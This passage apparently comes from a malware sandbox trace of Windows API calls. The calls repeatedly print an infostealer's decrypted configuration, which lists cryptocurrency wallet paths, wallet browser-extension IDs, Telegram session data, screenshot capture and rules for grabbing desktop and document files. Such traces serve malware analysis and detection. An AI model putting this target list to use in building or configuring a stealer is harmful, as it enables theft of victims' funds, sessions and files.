Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.756] lstrlenW (lpString="wlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4137 [0259.756] LocalAlloc (uFlags=0x40, uBytes=0x20d2) returned 0x6ef5a0 [0259.757] StrCpyW (in: psz1=0x6b9720, psz2="wlts" | out: psz1="wlts") returned="wlts" [0259.757] LocalFree (hMem=0x6ef5a0) returned 0x0 [0259.757] StrStrW (lpFirst="wlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.758] lstrcmpiW (lpString1="wlts", lpString2="libs") returned 1 [0259.758] LocalFree (hMem=0x6b9720) returned 0x0 [0259.758] LocalFree (hMem=0x6bb780) returned 0x0 [0259.759] LocalFree (hMem=0x6bd7e0) returned 0x0 [0259.759] StrStrW (lpFirst="wlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension 